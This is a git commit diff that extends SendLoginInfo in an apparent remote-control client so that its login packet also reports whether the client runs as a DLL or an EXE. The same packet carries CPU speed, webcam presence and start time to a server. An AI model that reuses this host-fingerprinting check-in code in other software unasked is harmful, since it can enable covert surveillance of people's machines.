feat: Add showing client type feature

This commit is contained in:
yuanyuanxiang
2024-12-29 01:09:06 +08:00
parent 7a2248f2cf
commit 83849e688f
9 changed files with 67 additions and 23 deletions

View File

@@ -155,7 +155,7 @@ std::string getProcessTime() {
return buffer;
}
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
{
LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
@@ -182,6 +182,7 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE");
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
return iRet;